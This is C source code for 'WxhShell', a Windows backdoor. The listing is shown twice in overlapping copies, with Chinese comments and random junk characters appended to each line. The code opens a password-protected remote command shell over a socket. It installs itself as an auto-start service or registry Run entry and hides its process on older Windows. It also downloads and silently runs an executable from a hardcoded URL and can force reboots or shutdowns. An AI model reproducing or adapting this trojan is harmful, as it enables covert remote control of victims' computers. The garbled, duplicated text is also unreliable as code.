    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $`"$ZI6[  
    else { 8:"s3xaO3  
    closesocket(wsh); md /NMC \  
    ExitThread(0); Z" dU$ ,n  
    } ~{{@m]P  
    break; C9nCSbGMY{  
    } y:R+;91  
  // 获取shell E5t /-4  
  case 's': { W-4R;!42  
    CmdShell(wsh); 94u~:'t>V  
    closesocket(wsh); xnC5WF7  
    ExitThread(0); 'OsRQ)E  
    break; %[k"A  
  } JYa3xeC;  
  // 退出 jUrUM.CJ\N  
  case 'x': { p1 mY!&e(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $%?[f;S3,  
    CloseIt(wsh); WTu1t]  
    break; | =tGrHL  
    } j%fi*2uX  
  // 离开 UkM#uKr:  
  case 'q': { r.v.y[u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;~Q`TWC  
    closesocket(wsh); N=c{@h  
    WSACleanup(); <y,c.\c!  
    exit(1); ;Bne=vjQp  
    break; @e^(V$ap  
        } 5_4 =(?<  
  } eVGW4b  
  } Poxoc-s  
F|?}r3{aJ  
  // 提示信息 C$`^(?iO/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NdM \RD_R  
} w9CX5Fg  
  } xgZ<. r  
[ lE^0_+  
  return; ]1|OQYG  
} :VlMszy}B3  
9Q&]5| x  
// shell模块句柄 6'jgjWEe3&  
int CmdShell(SOCKET sock) 4+F@BxpB  
{ t9&=; s  
STARTUPINFO si; t7,**$ST  
ZeroMemory(&si,sizeof(si)); k~=P0";  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _ IlRZ}f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H.)J?3  
PROCESS_INFORMATION ProcessInfo; G PL^!_  
char cmdline[]="cmd"; ^6PKSEba  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ->J5|c#  
  return 0; *!`bC@E  
} FQ]5W |e  
@4P_Yfn  
// 自身启动模式 (FSa>  
int StartFromService(void) !1`f84d  
{ f:ep~5] G  
typedef struct OTmr-l6  
{ Q*R9OF  
  DWORD ExitStatus; j&`D{z-c~  
  DWORD PebBaseAddress; Eg$Er*)h8  
  DWORD AffinityMask; 7}vx]p2  
  DWORD BasePriority; =T#?:J#a  
  ULONG UniqueProcessId; 5)p!}hWs  
  ULONG InheritedFromUniqueProcessId; 6\6g-1B`  
}   PROCESS_BASIC_INFORMATION; DU:+D}v l  
~?KbpB|  
PROCNTQSIP NtQueryInformationProcess; m0JJPBp  
`k3sl 0z%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0D}k ^W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [q(}~0{"-  
A1x    
  HANDLE             hProcess; >UV?n XP}  
  PROCESS_BASIC_INFORMATION pbi; "cDc~~3/@  
2\G[U#~bi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KqWO9d?w.  
  if(NULL == hInst ) return 0; {/!Yavx  
)9kp[hY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cxnEcX\   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &8hW~G>(m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eyG[1EEU  
]O&yy{yYK  
  if (!NtQueryInformationProcess) return 0; h BzZJ/jn  
6' 9zpe@`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (b+o$C  
  if(!hProcess) return 0; ~oeX0l>F  
jgT *=/GH2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K#]FUUnj=  
Wfh+D[^  
  CloseHandle(hProcess); mxTuwx   
(o1o);AO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D^A#C<Gs  
if(hProcess==NULL) return 0; C40W@*6S2  
T,v5cc:nO  
HMODULE hMod; G[Jz(/yNH  
char procName[255]; TGI`}#  
unsigned long cbNeeded; Y2(,E e2  
36yIfC,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FK;2u $:  
!FeNx*31i  
  CloseHandle(hProcess); y@dTdR2Wc  
9+:<RFJ  
if(strstr(procName,"services")) return 1; // 以服务启动 M|qJZ#{4>  
Zu/1:8x  
  return 0; // 注册表启动 ]!cLFXa  
} d>x(Bj6  
@|@6pXR.  
// 主模块 -p f9Wk  
int StartWxhshell(LPSTR lpCmdLine) u$+nl~p[&  
{ NzbHg p  
  SOCKET wsl; MDfC%2Q  
BOOL val=TRUE; u{|^5%)  
  int port=0; mlbSs_LT^  
  struct sockaddr_in door; d&%}u1 .  
0Yfz?:e  
  if(wscfg.ws_autoins) Install(); jYsg'Rl  
I =nvL  
port=atoi(lpCmdLine); nLnzl  
'#CYw=S+  
if(port<=0) port=wscfg.ws_port; PfJfa/#pA  
&p.7SPQ8/  
  WSADATA data; T0K*!j}O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p.!p6ve){  
ivPX_#QI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _6C,w`[[6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T_~xDQ`v  
  door.sin_family = AF_INET; CMHg]la  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @<44wMp  
  door.sin_port = htons(port); Z^GXKOeq  
Lq{/r+tt/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DO ,7vMO  
closesocket(wsl); tD No; f  
return 1; !-q)9K?  
} q8 Rep  
fnudy% oo  
  if(listen(wsl,2) == INVALID_SOCKET) { (h% xqXs  
closesocket(wsl); ib~EQ?u{  
return 1; gBo~NLrf  
} @ jD#Tn-*  
  Wxhshell(wsl); N1X;&qZDd  
  WSACleanup(); z2OXCZ*/  
2 m2$jp0  
return 0; +<f!#4T  
p *GAs C  
} q:G3y[ P  
+!"7=?}  
// 以NT服务方式启动 TXfG@4~kC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9,0}}3J  
{ 5!7vD|6  
DWORD   status = 0; 'z">4{5  
  DWORD   specificError = 0xfffffff; "I JcKoB  
~JohcU}d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]H=P(Z -  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \-I)dMm[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;;n=(cM|z  
  serviceStatus.dwWin32ExitCode     = 0; IYB;X  
  serviceStatus.dwServiceSpecificExitCode = 0; HG[gJ7  
  serviceStatus.dwCheckPoint       = 0; F1&7m )f$l  
  serviceStatus.dwWaitHint       = 0; #L xfE<^  
$ Bdxu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a`S3v  
  if (hServiceStatusHandle==0) return; s:Z1 ZAxv  
u|\K kk  
status = GetLastError(); #5_pE1  
  if (status!=NO_ERROR) 7kQ,D,c'  
{ -|_io,eL;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fo&ecWhw  
    serviceStatus.dwCheckPoint       = 0; gBE1a w;  
    serviceStatus.dwWaitHint       = 0; <& =3g/Y  
    serviceStatus.dwWin32ExitCode     = status; gYfOa`k  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^uIKwql  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 73(5.'F  
    return; %)j^>W5  
  } dhI+_z   
zK&J2P`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f9J]-#Iif  
  serviceStatus.dwCheckPoint       = 0; l[{Ci|4  
  serviceStatus.dwWaitHint       = 0; ~,reS:9RZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {aWfD XB1  
} ~Ec@hz]js  
tq5o  
// 处理NT服务事件,比如:启动、停止 Ui;PmwQc&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,\E5et4  
{ WvHy}1W  
switch(fdwControl) `;#I_R_K  
{ kl9<l*  
case SERVICE_CONTROL_STOP: 1Yy*G-7}  
  serviceStatus.dwWin32ExitCode = 0; RUlJP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f`_6X~ p  
  serviceStatus.dwCheckPoint   = 0; ]\oE}7K%r  
  serviceStatus.dwWaitHint     = 0; 5c3&4,,eR  
  { "aeKrMgc6V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mS >I#?  
  } ?=\_U  
  return; <N\#6m  
case SERVICE_CONTROL_PAUSE: / lN09j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EO \@#",a  
  break; &6@e9ff0  
case SERVICE_CONTROL_CONTINUE: vKNxL^x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?iNihE  
  break; w0$l3^}z  
case SERVICE_CONTROL_INTERROGATE: X>VxE/  
  break; K2t|d[r  
}; [:-o;K\.-a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *(]@T@yN  
} wvg>SfV,e  
S:xG:[N@  
// 标准应用程序主函数 =/F\_/Xw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S[o R q  
{ xm}`6B^f  
C$fQ[@  
// 获取操作系统版本 qAR}D~t  
OsIsNt=GetOsVer(); J`{HMv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K iG/XnS  
[[d@P%X&  
  // 从命令行安装 qVmG"et'J  
  if(strpbrk(lpCmdLine,"iI")) Install(); iC\t@BVS  
&|) (lX  
  // 下载执行文件 WJ(E3bb  
if(wscfg.ws_downexe) { Vr%!rQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ] e]l08  
  WinExec(wscfg.ws_filenam,SW_HIDE); fIcra  
} X P_ V  
]; G$~[  
if(!OsIsNt) { pM7xnL4  
// 如果时win9x,隐藏进程并且设置为注册表启动 jRzQ`*KC#  
HideProc(); E| =~rIKN  
StartWxhshell(lpCmdLine); D1<$]r,  
} t"Djh^=y  
else j 1#T]CDs  
  if(StartFromService()) k84JDPu#  
  // 以服务方式启动 -YP>mwSN?  
  StartServiceCtrlDispatcher(DispatchTable); 9{V54ue;  
else JIyIQg'5i  
  // 普通方式启动 gEQevy`T%c  
  StartWxhshell(lpCmdLine); Cn(0ID+3f  
@ 6{U*vs  
return 0; 80qe5WC.2u  
} *ocbV`  
>VWH bo  
aj*%$!SU+  
zMQ|j_ l9E  
=========================================== Qr l>A*  
_w>9Z>PR  
rC!~4xj-  
ZICcZG_y  
{,rVA(I@  
(J^2|9r  
" ;l6tZ]-"  
e'Th[ wJ  
#include <stdio.h> O%(k$ fvM  
#include <string.h> U i ~*]  
#include <windows.h> x9!vtrM\Zr  
#include <winsock2.h> ,ZLg=  
#include <winsvc.h> 7`f',ZK%  
#include <urlmon.h> )#l,RJ(  
@7aSq-(_l*  
#pragma comment (lib, "Ws2_32.lib") _ s[v:c  
#pragma comment (lib, "urlmon.lib") zn|/h,.  
@}cZxFQ!C  
#define MAX_USER   100 // 最大客户端连接数 ij=}3;L_!  
#define BUF_SOCK   200 // sock buffer mME a*9P  
#define KEY_BUFF   255 // 输入 buffer h^KLqPBt{  
13nXvYo'  
#define REBOOT     0   // 重启 =K2mR}n\;  
#define SHUTDOWN   1   // 关机 D*R49hja{  
tgbr/eCoU  
#define DEF_PORT   5000 // 监听端口 ]h$,=Qf hD  
' Z}/3 dp  
#define REG_LEN     16   // 注册表键长度 Dj9).lgc  
#define SVC_LEN     80   // NT服务名长度 Zu/}TS9bi  
]}&f<X  
// 从dll定义API $lMEZt8A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r%/*,lLO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H]7;O M/g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3yfq*\_uXw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a jCx"J  
^#4?v^QNh  
// wxhshell配置信息 c{u~=24;%#  
struct WSCFG { 4F+n`{~  
  int ws_port;         // 监听端口 DEw_dOJ(  
  char ws_passstr[REG_LEN]; // 口令 kt;| $  
  int ws_autoins;       // 安装标记, 1=yes 0=no H `V3oS~}  
  char ws_regname[REG_LEN]; // 注册表键名 (fjAsbT  
  char ws_svcname[REG_LEN]; // 服务名 ] 7, mo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6DG:imGl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'B>%5'SdD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nVC:5ie  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1wa zJj=v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hd2 X/"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N}3$1=@Y  
6h|@Bz/A  
}; r%g?.4o*b  
ui:  
// default Wxhshell configuration \&p MF  
struct WSCFG wscfg={DEF_PORT, oiq7I@Y`x  
    "xuhuanlingzhe", j:9kJq>mv  
    1, < g<Lf[n$  
    "Wxhshell", 0} UJP   
    "Wxhshell", {<HL}m@kQ  
            "WxhShell Service", ;$y(Tvd;  
    "Wrsky Windows CmdShell Service", lFNf/j^Z  
    "Please Input Your Password: ", heliL/  
  1, >k?/'R  
  "http://www.wrsky.com/wxhshell.exe", ~_TmS9  
  "Wxhshell.exe" ?N,'1I  
    }; 38%xB<Y  
E Cx_ [|3{  
// 消息定义模块 < ealt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K`nI$l7hg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j3bTa|UdT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %7PprN0>  
char *msg_ws_ext="\n\rExit."; 6.Nu[-?  
char *msg_ws_end="\n\rQuit."; >a;^=5E  
char *msg_ws_boot="\n\rReboot...";  h7-!q@  
char *msg_ws_poff="\n\rShutdown..."; .oq!Ys4KA  
char *msg_ws_down="\n\rSave to "; .Y%)&  
nL+*-R!R  
char *msg_ws_err="\n\rErr!"; Hb3+$vJ^  
char *msg_ws_ok="\n\rOK!"; bN$!G9I!,  
BHE((3  
char ExeFile[MAX_PATH]; a<%WFix  
int nUser = 0; 28;D>6c  
HANDLE handles[MAX_USER]; pHFh7-vj  
int OsIsNt; &rX..l  
)K8k3]y&  
SERVICE_STATUS       serviceStatus; W%f:+s}cI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s7C oUd2  
\]U@=w  
// 函数声明 \*H/YByTb  
int Install(void); U n#7@8,  
int Uninstall(void); HM])m>KeT  
int DownloadFile(char *sURL, SOCKET wsh); JrTSu`S('  
int Boot(int flag); R$&|*0  
void HideProc(void); 0KyujU?sF  
int GetOsVer(void); A / N$  
int Wxhshell(SOCKET wsl); <_ 02)6j  
void TalkWithClient(void *cs); FX"%  
int CmdShell(SOCKET sock); bh&,*Y6=  
int StartFromService(void); EOrWax@k$}  
int StartWxhshell(LPSTR lpCmdLine); ~y}M GUEC  
z[DUktZl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U RDb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5#.uA_Fov  
2,O-/A;tW*  
// 数据结构和表定义 Wiqy".YY  
SERVICE_TABLE_ENTRY DispatchTable[] = dhN[\Z%  
{ Ru Q\H0pr  
{wscfg.ws_svcname, NTServiceMain}, K,[g<7X5  
{NULL, NULL} 2*Uwp; 0  
}; O`O{n_o^u  
f- pt8  
// 自我安装 :<=!v5 SK  
int Install(void) 0K'lr;  
{ <JHU*Z  
  char svExeFile[MAX_PATH]; V; 1r  
  HKEY key; o$m64l  
  strcpy(svExeFile,ExeFile); br}.s@~  
36JVnW;  
// 如果是win9x系统,修改注册表设为自启动 BbZ-dXC<  
if(!OsIsNt) { y6'Fi(2yw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H*3f8A&@s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,~FyC_%*  
  RegCloseKey(key); 5+GW% U/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h)q:nlKUW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !W/Og 5n  
  RegCloseKey(key); $Trkow%F]  
  return 0; =1lKcA[z  
    } J={$q1@lq  
  } -9/YS  
} 9U6y<X  
else { ;h_"5/#  
j4le../N  
// 如果是NT以上系统,安装为系统服务 GEwgwenv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #6_?7 (X  
if (schSCManager!=0) &-+qB >SK>  
{ 5oplV(<?*S  
  SC_HANDLE schService = CreateService EuqmA7s8A  
  ( ~)D2U:"^xm  
  schSCManager, C81+nR  
  wscfg.ws_svcname, kf0zL3|   
  wscfg.ws_svcdisp, VG+Yhm<SL  
  SERVICE_ALL_ACCESS, B8 -/ C\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V;?_l?_  
  SERVICE_AUTO_START, KO<fN,DR  
  SERVICE_ERROR_NORMAL, "OFYVK\]i  
  svExeFile, 5Ga>qIM  
  NULL, ^LTLyt)/  
  NULL, rx'},[b]3  
  NULL, O{&5/xBA  
  NULL, %,MCnu&Z  
  NULL 4pkc9\  
  ); /^qCJp`  
  if (schService!=0) skdSK7 n  
  { pq*b"Jku1  
  CloseServiceHandle(schService); ppVjFCv0<  
  CloseServiceHandle(schSCManager); BgD;"GD*W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h|dVVCsN  
  strcat(svExeFile,wscfg.ws_svcname); d6<,R;)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u.0Z)j}N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {gl-tRC3  
  RegCloseKey(key); ][:6En}  
  return 0; _x z_D12  
    } E3.=|]W'  
  } `8\pihww  
  CloseServiceHandle(schSCManager); QY-P!JD  
} >Fz_]z   
} NaG1j+LN  
ZP*Hx %U  
return 1; SS O$.rp  
} z]Z>+|  
5wRDH1z@{  
// 自我卸载 l},*^Sn<5  
int Uninstall(void) Q <^'v>~n  
{ b.h~QyI/W  
  HKEY key; k$}XZ,Q  
O?D*<rwD  
if(!OsIsNt) { ,Zzh.z::D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %fh ,e5(LT  
  RegDeleteValue(key,wscfg.ws_regname); *FR Eh@R  
  RegCloseKey(key); ;%]Q%7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ Yz>=rY  
  RegDeleteValue(key,wscfg.ws_regname); =]\,I'  
  RegCloseKey(key); :cG_aO kid  
  return 0; _+wou(1y  
  } CCp{ZH s  
} /`D]m?  
} TuBg4\V  
else { HV&N(;@  
&B#HgWud  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `BMg\2Ud*  
if (schSCManager!=0) w@X<</`  
{ ]XJpy-U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jr*A1y*  
  if (schService!=0) c%Yvj  
  { g {8>2OK$c  
  if(DeleteService(schService)!=0) { <N=p_m 2T  
  CloseServiceHandle(schService); C $aiOK-]+  
  CloseServiceHandle(schSCManager); 8~EDmg[  
  return 0; /%$'N$@f  
  } Cq u/(=  
  CloseServiceHandle(schService); U[c,cdA  
  } x<P$$G/  
  CloseServiceHandle(schSCManager); s8{3~Hv  
} +G? 4Wc1  
} h;^h[q1'  
9O?.0L  
return 1; /^DDU!=(<  
} {]] nQ  
M=x/PrY"R  
// 从指定url下载文件 pJVzT,poh  
int DownloadFile(char *sURL, SOCKET wsh) :"3WCB  
{ Bg"b,&/^u  
  HRESULT hr; *@dRL3c^=  
char seps[]= "/"; 4kT|/ bp  
char *token; 2hw3+ o6  
char *file; G|'DAj%  
char myURL[MAX_PATH]; '+Gt+Gq+  
char myFILE[MAX_PATH]; Y@TZReb  
+0.$w  
strcpy(myURL,sURL); O%tlj@?  
  token=strtok(myURL,seps); jWiB_8- 6  
  while(token!=NULL) =JOupw  
  { q3VE\&*^F  
    file=token; {w(6Tc  
  token=strtok(NULL,seps); 7cr+a4T33  
  } T}$1<^NK  
tKo ^A:M  
GetCurrentDirectory(MAX_PATH,myFILE); un6grvxr  
strcat(myFILE, "\\"); C "<l}  
strcat(myFILE, file); }7g\1l\  
  send(wsh,myFILE,strlen(myFILE),0); P@lExF*D1:  
send(wsh,"...",3,0); `T{{wty  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `w@fxv   
  if(hr==S_OK) X{9D fgW  
return 0; K:V_,[gO  
else }v;@1[.B  
return 1; c*1t<OAS~  
%QVX1\>]  
} -G(z!ed  
+su>0'a  
// 系统电源模块 giyKEnP  
int Boot(int flag) KU"? ZI  
{ y!1%Kqx1,n  
  HANDLE hToken; l-XiQ#-{  
  TOKEN_PRIVILEGES tkp; ]V<[W,*(5  
:w#Zs)N  
  if(OsIsNt) { ya5;C"   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pTST\0?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {Rc/Ten  
    tkp.PrivilegeCount = 1; tUGnD<P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s59v* /  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z=N'evx~  
if(flag==REBOOT) { AVOzx00U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ii?<Lz  
  return 0; (%oZgvM  
} ,`^B!U3m   
else { 8,a&i:C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9<.FwV >  
  return 0; 7F>5<Gv:-  
} }C}~)qaZv+  
  } ,1Suq\ L  
  else { c;&m}ImLe.  
if(flag==REBOOT) { q<@f3[A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \"V7O'S)&  
  return 0; G+=eu K2]  
} go|/I&  
else { ?#<Fxme  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y"]?TEd  
  return 0; I+!w9o2nZ  
} '8 1M%KO  
} ']ya_v~e  
]sd|u[:k  
return 1; =xSFKu*  
} ^Gq4Yr  
ivb&J4?y  
// win9x进程隐藏模块 8ysU.5S  
void HideProc(void) M+gQN}BAr  
{ rG:IS=  
(Vf&,b@U_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T8GxoNm  
  if ( hKernel != NULL ) 0<>I\UN0b  
  { d}EGI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z;zy k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sw[1T_S>  
    FreeLibrary(hKernel); L oe!@c  
  } o*_[3{FU  
^ W eE%"  
return; W|NzdxCY  
} X)e6Y{vO  
N0O8to}V  
// 获取操作系统版本 6;dQ#wmg  
int GetOsVer(void) $LRvPan`  
{ -w1U /o.  
  OSVERSIONINFO winfo; 0F8y8s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V9`VF O  
  GetVersionEx(&winfo); @g }r*U?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *Y?rls`  
  return 1; ~= lm91W  
  else WB'&W=  
  return 0; -m(9*b{h@  
} O"<D0xzF?  
0vbn!<:  
// 客户端句柄模块 SZpBbX$  
int Wxhshell(SOCKET wsl) 7m~+HM\  
{ Uq<c+4)5  
  SOCKET wsh; }y(1mzb  
  struct sockaddr_in client; ~ k/'_1)c  
  DWORD myID; _VMW-trG  
zy(sekX;  
  while(nUser<MAX_USER) k:Da+w_'1  
{ t.t$6+"5We  
  int nSize=sizeof(client); awB1ryrOF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4'Z=T\:  
  if(wsh==INVALID_SOCKET) return 1; .2q7X{4=  
j5Vyo>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :7K cD\fCj  
if(handles[nUser]==0) \zR@FOl`q  
  closesocket(wsh); q{ItTvL  
else {CG%$rh  
  nUser++; O]DZb+O"  
  } Zgkk%3'^'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M/x49qO#  
cgNK67"(  
  return 0; v(W$\XH  
} JfxD-9U^>u  
Jt\?,~,  
// 关闭 socket 3BAls+<p o  
void CloseIt(SOCKET wsh) q!\K!W\  
{ \rn:/  
closesocket(wsh); s$4!?b$tw  
nUser--; TppR \[4]  
ExitThread(0); {" woBOaA  
} (n;#Z,  
=H%c/Jty  
// 客户端请求句柄 g,h'K  
void TalkWithClient(void *cs) Wz)s#  
{ i^eU!^KF  
#f0J.)M  
  SOCKET wsh=(SOCKET)cs; bX6eNk-L  
  char pwd[SVC_LEN]; 2 DJs '"8  
  char cmd[KEY_BUFF]; 1Jg&L~Ws"  
char chr[1]; y2;uG2IS_g  
int i,j; yDg`9q.ckm  
`wj<d>m  
  while (nUser < MAX_USER) { KC9_H>  
%JeT,{  
if(wscfg.ws_passstr) { ekND>Qjj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8iaP(*J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y!&6"l$K]  
  //ZeroMemory(pwd,KEY_BUFF); .aV#W@iyK  
      i=0; Eyv%"+>  
  while(i<SVC_LEN) { x ok8  
Hphvsre<  
  // 设置超时 0"o%=i;  
  fd_set FdRead; M>nplHq   
  struct timeval TimeOut; tGDsZ;3Yr  
  FD_ZERO(&FdRead); LG0+A}E=C  
  FD_SET(wsh,&FdRead); )ZC0/>R  
  TimeOut.tv_sec=8; BF{v0Z0/}k  
  TimeOut.tv_usec=0; FpN>T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 89e<,f`h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -L%tiz`_  
3qwi)nm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1 41@$mMzE  
  pwd=chr[0]; |l'BNuiU  
  if(chr[0]==0xd || chr[0]==0xa) { F6J,:  
  pwd=0; '=C)Hj[D  
  break; c}v>Mx  
  } ZFpi'u.&  
  i++; MKzIY:u g  
    } 2XI%z4\)!  
UfIH!6Q  
  // 如果是非法用户,关闭 socket D@A@5pvS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 70hm9b-   
} "i0{E!,XL  
,j\1UAa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =$xxkc.~G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @'>h P  
^h #0e:7<  
while(1) { RG[b+Qjn  
qp$Td<'Y  
  ZeroMemory(cmd,KEY_BUFF); u}Kc>/AF  
 #~QkS_  
      // 自动支持客户端 telnet标准   xc{$=>'G  
  j=0; m%au* 0p  
  while(j<KEY_BUFF) { LgFF+z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qM%l  
  cmd[j]=chr[0]; {WJ9!pA!lk  
  if(chr[0]==0xa || chr[0]==0xd) { x.W93e[]H  
  cmd[j]=0; P(AcDG6K  
  break; |rW,:&;  
  } n1n->l*HGP  
  j++; =E$Hq4I  
    } Ot,eAiaX  
ukNB#2 "  
  // 下载文件 0 ~K4vSa  
  if(strstr(cmd,"http://")) { |uL"/cMW7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :+Ti^FF`w  
  if(DownloadFile(cmd,wsh)) L-SWs8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  {}x{OP  
  else ~Y;_vU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 93I.Wp_{  
  } e+416 ~X v  
  else { X'[93 C|K  
sX_6qKUH  
